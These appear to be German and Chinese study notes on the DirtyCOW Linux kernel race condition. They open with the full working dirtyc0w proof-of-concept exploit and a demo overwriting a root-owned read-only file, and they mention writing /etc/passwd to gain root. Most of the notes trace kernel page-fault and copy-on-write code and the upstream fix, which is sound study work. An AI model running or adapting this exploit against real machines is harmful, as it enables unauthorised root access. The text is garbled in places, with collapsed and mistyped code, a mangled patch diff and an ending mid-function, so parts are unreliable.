
DirtyCOW Notizen
void *map; int f; struct stat st; char *name;
void *madviseThread(void *arg) { char str; str = (char)arg; int i, c = 0; for(i = 0; i < 100000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); }
void *procselfmemThread(void *arg) { char str; str = (char)arg;
int f = open("/proc/self/mem", O_RDWR); int i, c = 0; for(i = 0; i < 100000000; i++) { lseek(f, (uintptr_t)map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n\n", c); }
int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1, pth2;
f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }
[Kein Inhalt zur Übersetzung bereitgestellt.]```
$ sudo su
# echo "READ ONLY" > flag.txt
# chmod 0404 flag.txt
# exit
$
$ ll flag.txt
-r-----r-- 1 root root 10 flag.txt
$ echo "aaaaaa" > flag.txt
Permission Denied
$
$ gcc -pthread dirty.c -o dirty
$ ./dirty flag.txt aaaaaa
mmap 7f1a35bc4000
procselfmem -2094967296
madvise 0
$ cat flag.txt
aaaaaa
比较常见的利用手法是越权写/etc/passwd修改 root 用户或修改用户权限来提权
Schauen wir uns zuerst an, was der Exploit macht.```c int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n","usage: dirtyc0w target_file new_content"); return 1; }
pthread_t pth1, pth2; f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }
- Zuerst wird pthread aufgerufen, um zwei Threads zu erstellen
- Dann wird mit `fopen` die schreibgeschützte Zieldatei `argv[1]` geöffnet
- Die Datei wird mit `mmap` in den Speicher abgebildet (zufällige Adresse), `MAP_PRIVATE` erstellt eine private Speicherabbildung für einen Task. Wenn ein anderer Task versucht, in diesen Speicher zu schreiben, erstellt der Prozess vor dem Schreiben eine Kopie, um zu vermeiden, dass beim Erstellen von Unterprozessen oder Threads viel Zeit und Speicher für das Kopieren des gesamten Speicherplatzes aufgewendet werden muss, und gleichzeitig sicherzustellen, dass gleichzeitige Speicheroperationen zwischen Tasks sich nicht gegenseitig beeinflussen. Dies wird als Copy-on-Write bezeichnet
- Anschließend werden zwei Threads gestartet: einer führt `madviseThread` aus, der andere `procselfmemThread`
Dann betrachten wir die Ausführungsroutinen der beiden Threads:
- Ein Thread ruft `madvise` auf der Dateizuordnung auf, um dem Kernel die Nutzung des zugeordneten Speichers oder des gemeinsamen Speichers mitzuteilen. `MADV_DONTNEED` bedeutet, dass dieser Speicherbereich in naher Zukunft nicht mehr benötigt wird und der Kernel ihn freigeben kann
- Der andere Thread öffnet `/proc/self/mem` mit Lese-/Schreibberechtigung. Diese Datei ist die Dateizuordnung des virtuellen Speichers des Prozesses selbst, und versucht dann kontinuierlich, Zielinformationen in die Datei zu schreiben```c
void *madviseThread(void *arg) {
char *str;
str = (char*)arg;
int i, c = 0;
for(i = 0; i < 100000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}
void *procselfmemThread(void *arg) {
char *str;
str = (char*)arg;
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for(i = 0; i < 100000000; i++) {
lseek(f, (uintptr_t)map, SEEK_SET);
c += write(f, str, strlen(str));
}
printf("procselfmem %d\n\n", c);
}
最终,在两个线程的轮番轰炸下内核出现竞争漏洞,procselfmemThread成功写入只写文件
mmap只会在 vma 上建立内存映射,但不会真的将映射文件放进物理页框。因此当我们第一次尝试write文件时必然会触发缺页异常Wir beginnen die Analyse mit write. Jeder Dateizugriff muss die vom Dateisystem in der VFS registrierte virtuelle Tabelle file_operations durchlaufen. Dateien unter /proc werden von procfs implementiert. Wenn wir proc_mem_operations finden, sehen wir, dass write an mem_write gebunden ist.```c
static const struct file_operations proc_mem_operations = {
.llseek = mem_lseek,
.read = mem_read,
.write = mem_write,
.open = mem_open,
.release = mem_release,
};
`mem_write` ist ein Wrapper um `mem_rw` (mit `write`-Flag auf 1). Der Hauptablauf von `mem_rw` ist:
- Zunächst wird mit `__get_free_page` eine temporäre freie Seite als Puffer angefordert
- Bei einem Schreibvorgang wird mit `copy_from_user` die zu schreibenden Daten in die temporäre Seite kopiert
- Dann liest `access_remote_vm` die Zieldaten in die freie Seite (lesen) oder schreibt den Inhalt des Puffers an die Zieladresse (schreiben)
- Der Begriff "remote" bedeutet hier, dass dieser Prozess möglicherweise speichergemappte Dateien anderer Prozesse liest oder schreibt, was bedeutet, dass der Prozess auf den Adressraum anderer Prozesse zugreifen kann. Dies unterscheidet sich von anderen Memory-Dateisystemen
- Bei einem Lesevorgang werden die im vorherigen Schritt gelesenen Daten aus der freien Seite zurück in den Puffer des Benutzers geschrieben```c
static ssize_t mem_rw(struct file *file, char __user *buf,
size_t count, loff_t *ppos, int write)
{
struct mm_struct *mm = file->private_data;
unsigned long addr = *ppos;
ssize_t copied;
char *page;
if (!mm)
return 0;
page = (char *)__get_free_page(GFP_TEMPORARY); // 申请临时空闲页面
if (!page)
return -ENOMEM;
copied = 0;
if (!atomic_inc_not_zero(&mm->mm_users))
goto free;
while (count > 0) {
int this_len = min_t(int, count, PAGE_SIZE); // 本次读取/写入数据长度,单次最大为PAGE_SIZE
if (write && copy_from_user(page, buf, this_len)) { // 若是写操作,从用户空间拷贝待写数据到临时空闲页面
copied = -EFAULT;
break;
}
this_len = access_remote_vm(mm, addr, page, this_len, write); // 读取/写入数据到临时空闲页面
if (!this_len) {
if (!copied)
copied = -EIO;
break;
}
if (!write && copy_to_user(buf, page, this_len)) { // 若是读操作,将读取到的数据从临时空闲页面拷贝数据到用户空间
copied = -EFAULT;
break;
}
buf += this_len;
addr += this_len;
copied += this_len;
count -= this_len;
}
*ppos = addr;
mmput(mm);
free:
free_page((unsigned long) page); // 释放临时空闲页面
return copied;
}
access_remote_vm ist ein Wrapper für __access_remote_vm. Der Hauptablauf ist:
get_user_pages ruft die page struct ab, in der sich die Zieladresse addr befindet.
Bei Erfolg wird kmap aufgerufen, um die Seite in den High Memory des Kernels zu mappen (die Seite bezieht sich auf die physische Seite).
Wenn der Speicherzugriff ein Schreibvorgang ist, werden die Daten geschrieben und das Dirty-Bit gesetzt; bei einem Lesevorgang werden die Daten einfach gelesen.```c static int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm, unsigned long addr, void *buf, int len, int write) { struct vm_area_struct *vma; void *old_buf = buf;
down_read(&mm->mmap_sem); /* ignore errors, just check how much was successfully transferred */ while (len) { int bytes, ret, offset; void *maddr; struct page *page = NULL;
ret = get_user_pages(tsk, mm, addr, 1, // 获取addr对应的page
write, 1, &page, &vma);
if (ret <= 0) { // 获取失败
#ifndef CONFIG_HAVE_IOREMAP_PROT break; #else /* * Check if this is a VM_IO | VM_PFNMAP VMA, which * we can access using slightly different code. */ vma = find_vma(mm, addr); if (!vma || vma->vm_start > addr) break; if (vma->vm_ops && vma->vm_ops->access) ret = vma->vm_ops->access(vma, addr, buf, len, write); if (ret <= 0) break; bytes = ret; #endif } else { // 获取成功 bytes = len; offset = addr & (PAGE_SIZE-1); if (bytes > PAGE_SIZE-offset) bytes = PAGE_SIZE-offset;
maddr = kmap(page); // 映射page到内核空间,因为我们获取的是page结构体,需要映射到一个虚拟地址之后才能进行写入
if (write) { // 如果是写操作
copy_to_user_page(vma, page, addr, // 将buf的数据拷贝到page中,完成写入
maddr + offset, buf, bytes);
set_page_dirty_lock(page); // 设置页面为脏页
} else { // 如果是读操作
copy_from_user_page(vma, page, addr,
buf, maddr + offset, bytes);
}
kunmap(page);
page_cache_release(page);
}
len -= bytes;
buf += bytes;
addr += bytes;
}
up_read(&mm->mmap_sem);
return buf - old_buf;
}
##### __get_user_pages
Das war der Überblick über die Lese-/Schreiboperationen von procfs. Im Folgenden beginnen wir mit `get_user_pages`.
`get_user_pages` ist ein Wrapper um `__get_user_pages_locked`, welches wiederum `__get_user_pages` aufruft, das den logischen Hauptteil darstellt. Der Ablauf ist wie folgt:
- Zuerst werden die zu bearbeitenden Seiten durchlaufen und einige Vorbereitungen getroffen, einschließlich des Setzens der Berechtigungs-Bitmap `foll_flags` für jede Seite.
- Wenn es sich um die erste Iteration handelt oder die Startadresse größer als die Basisadresse des aktuellen vma ist, ruft `find_extend_vma` das vma ab, in dem sich die Startadresse befindet.
- Wenn der Prozess kein fatales Signal empfangen oder maskiert hat, ruft `follow_page_mask` die page struct der physikalischen Seite ab, die der virtuellen Adresse entspricht.
- Normalerweise befindet sich die Seite nicht im RAM, d.h. der erste Zugriff auf die Seite verursacht einen Seitenfehler.
- Außerdem führt auch fehlende Zugriffsberechtigung für die Seite zu einer Ausnahme.
- Darüber hinaus gibt es andere Gründe wie OOM, Hardwarefehler usw., die hier nicht von Bedeutung sind.
- Wenn die Seite nicht erfolgreich abgerufen werden konnte und es sich nicht um einen Fehler handelt (Rückgabe 0), wird `faultin_page` aufgerufen, um den Seitenfehler zu behandeln. Nach erfolgreicher Verarbeitung wird zu `follow_page_mask` zurückgesprungen, um den Seitenabruf erneut zu versuchen.```c
long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
unsigned long start, unsigned long nr_pages,
unsigned int gup_flags, struct page **pages,
struct vm_area_struct **vmas, int *nonblocking)
{
long i = 0;
unsigned int page_mask;
struct vm_area_struct *vma = NULL;
if (!nr_pages)
return 0;
VM_BUG_ON(!!pages != !!(gup_flags & FOLL_GET));
/*
* If FOLL_FORCE is set then do not force a full fault as the hinting
* fault information is unrelated to the reference behaviour of a task
* using the address space
*/
if (!(gup_flags & FOLL_FORCE))
gup_flags |= FOLL_NUMA;
do {
struct page *page;
unsigned int foll_flags = gup_flags;
unsigned int page_increm;
/* first iteration or cross vma bound */
if (!vma || start >= vma->vm_end) { // 若vma为空(第一次迭代)或者start超出vma的范围
vma = find_extend_vma(mm, start); // 查找start所在的vma
if (!vma && in_gate_area(mm, start)) {
int ret;
ret = get_gate_page(mm, start & PAGE_MASK,
gup_flags, &vma,
pages ? &pages[i] : NULL);
if (ret)
return i ? : ret;
page_mask = 0;
goto next_page;
}
if (!vma || check_vma_flags(vma, gup_flags))
return i ? : -EFAULT;
if (is_vm_hugetlb_page(vma)) {
i = follow_hugetlb_page(mm, vma, pages, vmas,
&start, &nr_pages, i,
gup_flags);
continue;
}
}
retry:
/*
* If we have a pending SIGKILL, don't keep faulting pages and
* potentially allocating memory.
*/
if (unlikely(fatal_signal_pending(current)))
return i ? i : -ERESTARTSYS;
cond_resched();
page = follow_page_mask(vma, start, foll_flags, &page_mask); // 获取虚拟地址对应的物理页的page struct
if (!page) { // 获取失败,可能是没有对应页,也可能是没有相应操作权限
int ret;
ret = faultin_page(tsk, vma, start, &foll_flags, // 处理缺页异常,COW机制建映射得到一个新的可写的anon page
nonblocking); // 若没有写权限其会取消掉foll_flags中的写标志并返回0
switch (ret) {
case 0: // 缺页异常处理成功,重新尝试获取page
goto retry;
case -EFAULT:
case -ENOMEM:
case -EHWPOISON:
return i ? i : ret;
case -EBUSY:
return i;
case -ENOENT:
goto next_page;
}
BUG();
} else if (PTR_ERR(page) == -EEXIST) {
/*
* Proper page table entry exists, but no corresponding
* struct page.
*/
goto next_page;
} else if (IS_ERR(page)) {
return i ? i : PTR_ERR(page);
}
if (pages) {
pages[i] = page;
flush_anon_page(vma, page, start);
flush_dcache_page(page);
page_mask = 0;
}
next_page:
if (vmas) {
vmas[i] = vma;
page_mask = 0;
}
page_increm = 1 + (~(start >> PAGE_SHIFT) & page_mask);
if (page_increm > nr_pages)
page_increm = nr_pages;
i += page_increm;
start += page_increm * PAGE_SIZE;
nr_pages -= page_increm;
} while (nr_pages); // 直到所有的页都处理完毕
return i;
}
EXPORT_SYMBOL(__get_user_pages);
follow_page_mask analysiert Schritt für Schritt die Adresse, um die zugehörige pte zu erhalten, und ruft dann follow_page_pte auf, um das page struct zu erhalten. Die Logik ist relativ einfach: Nach einer Reihe von Prüfungen wird das page struct zurückgegeben, und es ist ersichtlich, dass sowohl bei fehlender Adresszuordnung als auch bei fehlender Schreibberechtigung NULL zurückgegeben wird.```c
static struct page *follow_page_pte(struct vm_area_struct *vma,
unsigned long address, pmd_t *pmd, unsigned int flags)
{
struct mm_struct *mm = vma->vm_mm;
struct page *page;
spinlock_t *ptl;
pte_t *ptep, pte;
retry: if (unlikely(pmd_bad(*pmd))) return no_page_table(vma, flags);
ptep = pte_offset_map_lock(mm, pmd, address, &ptl);
pte = *ptep;
if (!pte_present(pte)) {
swp_entry_t entry;
/*
* KSM's break_ksm() relies upon recognizing a ksm page
* even while it is being migrated, so for that case we
* need migration_entry_wait().
*/
if (likely(!(flags & FOLL_MIGRATION)))
goto no_page;
if (pte_none(pte))
goto no_page;
entry = pte_to_swp_entry(pte);
if (!is_migration_entry(entry))
goto no_page;
pte_unmap_unlock(ptep, ptl);
migration_entry_wait(mm, pmd, address);
goto retry;
}
if ((flags & FOLL_NUMA) && pte_protnone(pte))
goto no_page;
if ((flags & FOLL_WRITE) && !pte_write(pte)) { // 欲执行写操作,但是没有写权限
pte_unmap_unlock(ptep, ptl);
return NULL;
}
page = vm_normal_page(vma, address, pte); // 获取page struct
if (unlikely(!page)) {
if (flags & FOLL_DUMP) {
/* Avoid special (like zero) pages in core dumps */
page = ERR_PTR(-EFAULT);
goto out;
}
if (is_zero_pfn(pte_pfn(pte))) {
page = pte_page(pte);
} else {
int ret;
ret = follow_pfn_pte(vma, address, ptep, flags);
page = ERR_PTR(ret);
goto out;
}
}
if (flags & FOLL_GET)
get_page_foll(page);
if (flags & FOLL_TOUCH) {
if ((flags & FOLL_WRITE) &&
!pte_dirty(pte) && !PageDirty(page))
set_page_dirty(page);
/*
* pte_mkyoung() would be more correct here, but atomic care
* is needed to avoid losing the dirty bit: it is easier to use
* mark_page_accessed().
*/
mark_page_accessed(page);
}
if ((flags & FOLL_MLOCK) && (vma->vm_flags & VM_LOCKED)) {
/*
* The preliminary mapping check is mainly to avoid the
* pointless overhead of lock_page on the ZERO_PAGE
* which might bounce very badly if there is contention.
*
* If the page is already locked, we don't need to
* handle it now - vmscan will handle it later if and
* when it attempts to reclaim the page.
*/
if (page->mapping && trylock_page(page)) {
lru_add_drain(); /* push cached pages to LRU */
/*
* Because we lock page here, and migration is
* blocked by the pte's page reference, and we
* know the page is still mapped, we don't even
* need to check for file-cache page truncation.
*/
mlock_vma_page(page);
unlock_page(page);
}
}
out: pte_unmap_unlock(ptep, ptl); return page; no_page: pte_unmap_unlock(ptep, ptl); if (!pte_none(pte)) return NULL; return no_page_table(vma, flags); }
##### faultin_page
`faultin_page` ähnlich, nachdem die Flags gesetzt wurden, wird `handle_mm_fault` aufgerufen, um offiziell in die Seitenfehlerbehandlung einzusteigen, was später erweitert wird.```c
static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
unsigned long address, unsigned int *flags, int *nonblocking)
{
struct mm_struct *mm = vma->vm_mm;
unsigned int fault_flags = 0;
int ret;
/* mlock all present pages, but do not fault in new pages */
if ((*flags & (FOLL_POPULATE | FOLL_MLOCK)) == FOLL_MLOCK)
return -ENOENT;
/* For mm_populate(), just skip the stack guard page. */
if ((*flags & FOLL_POPULATE) &&
(stack_guard_page_start(vma, address) ||
stack_guard_page_end(vma, address + PAGE_SIZE)))
return -ENOENT;
if (*flags & FOLL_WRITE) // 欲执行写操作
fault_flags |= FAULT_FLAG_WRITE;
if (nonblocking)
fault_flags |= FAULT_FLAG_ALLOW_RETRY;
if (*flags & FOLL_NOWAIT)
fault_flags |= FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_RETRY_NOWAIT;
if (*flags & FOLL_TRIED) {
VM_WARN_ON_ONCE(fault_flags & FAULT_FLAG_ALLOW_RETRY);
fault_flags |= FAULT_FLAG_TRIED;
}
ret = handle_mm_fault(mm, vma, address, fault_flags); // 处理缺页异常
if (ret & VM_FAULT_ERROR) {
if (ret & VM_FAULT_OOM)
return -ENOMEM;
if (ret & (VM_FAULT_HWPOISON | VM_FAULT_HWPOISON_LARGE))
return *flags & FOLL_HWPOISON ? -EHWPOISON : -EFAULT;
if (ret & (VM_FAULT_SIGBUS | VM_FAULT_SIGSEGV))
return -EFAULT;
BUG();
}
if (tsk) {
if (ret & VM_FAULT_MAJOR)
tsk->maj_flt++;
else
tsk->min_flt++;
}
if (ret & VM_FAULT_RETRY) {
if (nonblocking)
*nonblocking = 0;
return -EBUSY;
}
/*
* The VM_FAULT_WRITE bit tells us that do_wp_page has broken COW when
* necessary, even if maybe_mkwrite decided not to set pte_write. We
* can thus safely do subsequent page lookups as if they were reads.
* But only do so when looping for pte_write is futile: in some cases
* userspace may also be wanting to write to the gotten user page,
* which a read fault here might prevent (a readonly page might get
* reCOWed by userspace write).
*/
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE)) // 若vma不可写,但是缺页异常处理成功,且需要写操作
*flags &= ~FOLL_WRITE; // 清除写操作标志,否则会在__get_user_pages中返回不断retry
return 0;
}
Der in der retry-Markierung innerhalb von __get_user_pages dargestellte Wiederholungsmechanismus ist im Wesentlichen der allgemeine Ablauf der Seitenfehlerbehandlung beim Speicherzugriff. Am Beispiel des hier beschriebenen Szenarios: Beachten Sie, dass die Operationen nicht atomar sind.
mmap auf die Datei abgebildet wurde. Da mmap die Seite nicht in den Speicher liest, schlägt follow_page_mask fehl, was den ersten Seitenfehler verursacht.faultin_page liest die Seite in den Speicher, erstellt die Abbildung und kehrt nach der Rückkehr zu retry zurück.follow_page_mask greift ein zweites Mal auf die Seite zu. Der Zugriff beinhaltet das Schreiben auf die Seite, aber die Zielseite ist schreibgeschützt. Dies schlägt fehl und verursacht einen zweiten Seitenfehler.faultin_page erstellt gemäß dem COW-Mechanismus eine Kopie der Seite als anonyme Seite, stellt die Abbildung wieder her und entfernt das FOLL_WRITE-Flag, um endloses Wiederholen zu vermeiden. Schließlich kehrt es zu retry zurück.follow_page_mask greift ein drittes Mal auf die Seite zu. Diesmal ist das Schreib-Flag entfernt, sodass es die COW-kopierte anonyme Seite mit Leseberechtigung erfolgreich erhält und keinen Fehler mehr auslöst.An diesem Punkt ist die Schwachstelle bereits recht klar: Der retry-Teil der drei Seitenfehlerbehandlungen sollte atomar sein, zumindest sollte die pte gesperrt werden. Tatsächlich wurde dies jedoch aus unbekannten Gründen nicht geschützt, was diesen Ausführungspfad leicht angreifbar macht. DirtyCOW ruft während des oben beschriebenen Ablaufs wiederholt madvice auf, um den Kernel zu veranlassen, die pte zu löschen und die Abbildung der Zielseite aufzuheben, was letztendlich zu folgendem Ausführungspfad führt:
mmap auf die Datei abgebildet wurde. Da mmap die Seite nicht in den Speicher liest, schlägt follow_page_mask fehl, was den ersten Seitenfehler verursacht.faultin_page liest die Seite in den Speicher, erstellt die Abbildung und kehrt nach der Rückkehr zu retry zurück.follow_page_mask greift ein zweites Mal auf die Seite zu. Der Zugriff beinhaltet das Schreiben auf die Seite, aber die Zielseite ist schreibgeschützt. Dies schlägt fehl und verursacht einen zweiten Seitenfehler.faultin_page erstellt gemäß dem COW-Mechanismus eine Kopie der Seite als anonyme Seite, stellt die Abbildung wieder her und entfernt das FOLL_WRITE-Flag, um endloses Wiederholen zu vermeiden. Schließlich kehrt es zu retry zurück.madvice die pte der virtuellen Adresse und hebt die virtuelle Adressabbildung auf (Threads im selben Prozess teilen sich dieselbe Seitentabelle).Ein weiterer Punkt, der verwirren könnte: Selbst wenn wir die Seite erhalten haben, ist das ursprüngliche vma immer noch schreibgeschützt, sodass wir am Ende nicht schreiben können. Die grundlegende Lösung dieses Problems scheint zu sein, dass kmap den Speicher in den High Memory des Kernels abbildet. Selbst wenn die pte der Benutzermodus-vma schreibgeschützt ist, hat die pte der Kernel-Modus-High-Memory-Abbildung Schreibberechtigung. Dadurch können wir den Schreibzugriff über die Berechtigungen hinaus erfolgreich durchführen. Dies ist eine Besonderheit von mem_write.
Schauen wir uns schließlich Linus' Patch an. Möglicherweise aus Leistungsgründen hat er die Schwachstelle nicht durch eine Sperre geschützt, sondern stattdessen ein FOLL_COW-Flag eingeführt, um COW speziell zu behandeln.
typedef int (*pte_fn_t)(pte_t *pte, pgtable_t token, unsigned long addr, void *data); diff --git a/mm/gup.c b/mm/gup.c index 96b2b2fd0fbd13..22cc22e7432f60 100644 --- a/mm/gup.c +++ b/mm/gup.c @@ -60,6 +60,16 @@ static int follow_pfn_pte(struct vm_area_struct *vma, unsigned long address, return -EEXIST; }
+/*
((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte));
+} + static struct page *follow_page_pte(struct vm_area_struct *vma, unsigned long address, pmd_t *pmd, unsigned int flags) { @@ -95,7 +105,7 @@ retry: } if ((flags & FOLL_NUMA) && pte_protnone(pte)) goto no_page;
*flags &= ~FOLL_WRITE;
*flags |= FOLL_COW;
#### Eintauchen in den Seitenfehler
##### handle_mm_fault
Zuvor sind wir bei `faultin_page` stehen geblieben, jetzt fahren wir mit `handle_mm_fault` fort, um tiefer einzusteigen.```c
int handle_mm_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, unsigned int flags)
{
int ret;
__set_current_state(TASK_RUNNING); // 在处理完缺页异常后进程需要继续运行,保持TASK_RUNNING状态
count_vm_event(PGFAULT);
mem_cgroup_count_vm_event(mm, PGFAULT);
/* do counter updates before entering really critical section. */
check_sync_rss_stat(current);
/*
* Enable the memcg OOM handling for faults triggered in user
* space. Kernel faults are handled more gracefully.
*/
if (flags & FAULT_FLAG_USER)
mem_cgroup_oom_enable(); // 使能内存控制组的OOM处理
ret = __handle_mm_fault(mm, vma, address, flags); // handle的真正入口
if (flags & FAULT_FLAG_USER) { // 如果是用户态的缺页异常
mem_cgroup_oom_disable(); // 禁用内存控制组的OOM处理
/*
* The task may have entered a memcg OOM situation but
* if the allocation error was handled gracefully (no
* VM_FAULT_OOM), there is no need to kill anything.
* Just clean up the OOM state peacefully.
*/
if (task_in_memcg_oom(current) && !(ret & VM_FAULT_OOM)) // 如果进程处于内存控制组的OOM状态,但没有OOM错误
mem_cgroup_oom_synchronize(false); // 清理OOM状态即可
}
return ret;
}
EXPORT_SYMBOL_GPL(handle_mm_fault);
Weiterhin sieht man beim Wrapper __handle_mm_fault, dass er im Grunde die PTE des Ziels auflöst und dann handle_pte_fault aufruft, um es zu verarbeiten.```c
static int __handle_mm_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, unsigned int flags)
{
pgd_t *pgd; // 页全局目录指针
pud_t *pud; // 页上级目录指针
pmd_t *pmd; // 页中间目录指针
pte_t *pte; // 页表项指针
if (unlikely(is_vm_hugetlb_page(vma))) // hugepage
return hugetlb_fault(mm, vma, address, flags);
pgd = pgd_offset(mm, address); // (mm)->pgd + (address)>>PGDIR_SHIFT
pud = pud_alloc(mm, pgd, address); // 获取pud指针
if (!pud)
return VM_FAULT_OOM; // out of memory
pmd = pmd_alloc(mm, pud, address); // 获取pmd指针
if (!pmd)
return VM_FAULT_OOM;
if (pmd_none(*pmd) && transparent_hugepage_enabled(vma)) { // 透明大页
int ret = create_huge_pmd(mm, vma, address, pmd, flags);
if (!(ret & VM_FAULT_FALLBACK))
return ret;
} else {
pmd_t orig_pmd = *pmd;
int ret;
barrier(); // 内存屏障,确保orig_pmd的读取顺序不会被编译器优化,保证读取的是最新的pmd值
if (pmd_trans_huge(orig_pmd)) { // 透明大页
unsigned int dirty = flags & FAULT_FLAG_WRITE;
/*
* If the pmd is splitting, return and retry the
* the fault. Alternative: wait until the split
* is done, and goto retry.
*/
if (pmd_trans_splitting(orig_pmd))
return 0;
if (pmd_protnone(orig_pmd))
return do_huge_pmd_numa_page(mm, vma, address,
orig_pmd, pmd);
if (dirty && !pmd_write(orig_pmd)) {
ret = wp_huge_pmd(mm, vma, address, pmd,
orig_pmd, flags);
if (!(ret & VM_FAULT_FALLBACK))
return ret;
} else {
huge_pmd_set_accessed(mm, vma, address, pmd,
orig_pmd, dirty);
return 0;
}
}
}
/*
* Use __pte_alloc instead of pte_alloc_map, because we can't
* run pte_offset_map on the pmd, if an huge pmd could
* materialize from under us from a different thread.
*/
if (unlikely(pmd_none(*pmd)) &&
unlikely(__pte_alloc(mm, vma, pmd, address)))
return VM_FAULT_OOM;
/*
* If a huge pmd materialized under us just retry later. Use
* pmd_trans_unstable() instead of pmd_trans_huge() to ensure the pmd
* didn't become pmd_trans_huge under us and then back to pmd_none, as
* a result of MADV_DONTNEED running immediately after a huge pmd fault
* in a different thread of this mm, in turn leading to a misleading
* pmd_trans_huge() retval. All we have to ensure is that it is a
* regular pmd that we can walk with pte_offset_map() and we can do that
* through an atomic read in C, which is what pmd_trans_unstable()
* provides.
*/
if (unlikely(pmd_trans_unstable(pmd)))
return 0;
/*
* A regular pmd is established and it can't morph into a huge pmd
* from under us anymore at this point because we hold the mmap_sem
* read mode and khugepaged takes it in write mode. So now it's
* safe to run pte_offset_map().
*/
pte = pte_offset_map(pmd, address); // 获取pte指针,这也是这个wrap的最终的目标
return handle_pte_fault(mm, vma, address, pte, pmd, flags); // 进入page fault处理
}
##### handle_pte_fault
Der Ablauf von `handle_pte_fault` ist wie folgt, die Schlüsselfunktionen sind `do_fault` und `do_wp_page`.
- Zuerst wird geprüft, ob die pte leer ist. Wenn ja, bedeutet dies, dass der Prozess die Seite zum ersten Mal besucht.
- Handelt es sich um eine anonyme Seite, wird `do_anonymous_page` aufgerufen.
- Handelt es sich um eine nicht-anonyme Seite, wird `do_fault` aufgerufen.
- Nach diesen Schritten wird direkt zurückgegeben.
- Befindet sich die Seite im Speicher (d.h., sie wurde zuvor bereits besucht), so wird nach einigen Prüfungen, wenn der Seitenfehler durch einen Schreibzugriff verursacht wurde:
- Falls keine Schreibberechtigung vorhanden ist, wird `do_wp_page` aufgerufen.
- Falls Schreibberechtigung vorhanden ist, wird das Dirty-Bit in der pte gesetzt.```c
static int handle_pte_fault(struct mm_struct *mm,
struct vm_area_struct *vma, unsigned long address,
pte_t *pte, pmd_t *pmd, unsigned int flags)
{
pte_t entry;
spinlock_t *ptl; // 页表自旋锁
/*
* some architectures can have larger ptes than wordsize,
* e.g.ppc44x-defconfig has CONFIG_PTE_64BIT=y and CONFIG_32BIT=y,
* so READ_ONCE or ACCESS_ONCE cannot guarantee atomic accesses.
* The code below just needs a consistent view for the ifs and
* we later double check anyway with the ptl lock held. So here
* a barrier will do.
*/
entry = *pte;
barrier();
if (!pte_present(entry)) { // 页表项不在内存中(page fault第一次)
if (pte_none(entry)) { // 页表项为空,进程第一次访问该页面
if (vma_is_anonymous(vma)) // 没有设置vma->vm_ops,即为匿名页面(即不是文件映射)
return do_anonymous_page(mm, vma, address,
pte, pmd, flags);
else
return do_fault(mm, vma, address, pte, pmd, // 若为文件映射页面
flags, entry);
}
return do_swap_page(mm, vma, address, // 页表项不为空,将页面swap进内存
pte, pmd, flags, entry);
}
if (pte_protnone(entry)) // 页表项为保护页
return do_numa_page(mm, vma, address, entry, pte, pmd); // NUMA
ptl = pte_lockptr(mm, pmd); // 页表自旋锁,此时页面已经在内存中
spin_lock(ptl);
if (unlikely(!pte_same(*pte, entry))) // 并发检查
goto unlock;
if (flags & FAULT_FLAG_WRITE) { // page fault是由写操作引发
if (!pte_write(entry)) // 页不可写
return do_wp_page(mm, vma, address, // COW
pte, pmd, ptl, entry);
entry = pte_mkdirty(entry); // 页可写,设置为脏页
}
entry = pte_mkyoung(entry);
if (ptep_set_access_flags(vma, address, pte, entry, flags & FAULT_FLAG_WRITE)) {
update_mmu_cache(vma, address, pte);
} else {
/*
* This is needed only for protection faults but the arch code
* is not yet telling us if this is a protection fault or not.
* This still avoids useless tlb flushes for .text page faults
* with threads.
*/
if (flags & FAULT_FLAG_WRITE)
flush_tlb_fix_spurious_fault(vma, address);
}
unlock:
pte_unmap_unlock(pte, ptl);
return 0;
}
Da wir uns hier hauptsächlich für COW interessieren, vertiefen wir uns in do_fault.
Lokalisieren Sie zunächst die Seite der Datei, an der der Seitenfehler aufgetreten ist (zuvor wurde bestätigt, dass die Seite aus einer Dateizuordnung stammt).
Stellen Sie sicher, dass im vma->vmops eine Seitenfehler-Behandlungsfunktion definiert ist.
Bei Lesevorgängen rufen Sie do_read_fault auf.
Bei Schreibvorgängen prüfen Sie, ob die Seite gemeinsam nutzbar ist. Falls nicht, ist die Seite Task-privat und benötigt COW; rufen Sie do_cow_dault auf.
Bei Schreibvorgängen und wenn die Seite gemeinsam genutzt wird, rufen Sie do_shared_fault auf.```c
static int do_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, pte_t *page_table, pmd_t *pmd,
unsigned int flags, pte_t orig_pte)
{
pgoff_t pgoff = (((address & PAGE_MASK)
- vma->vm_start) >> PAGE_SHIFT) + vma->vm_pgoff; // 发生page fault的地址在文件中的页面偏移量
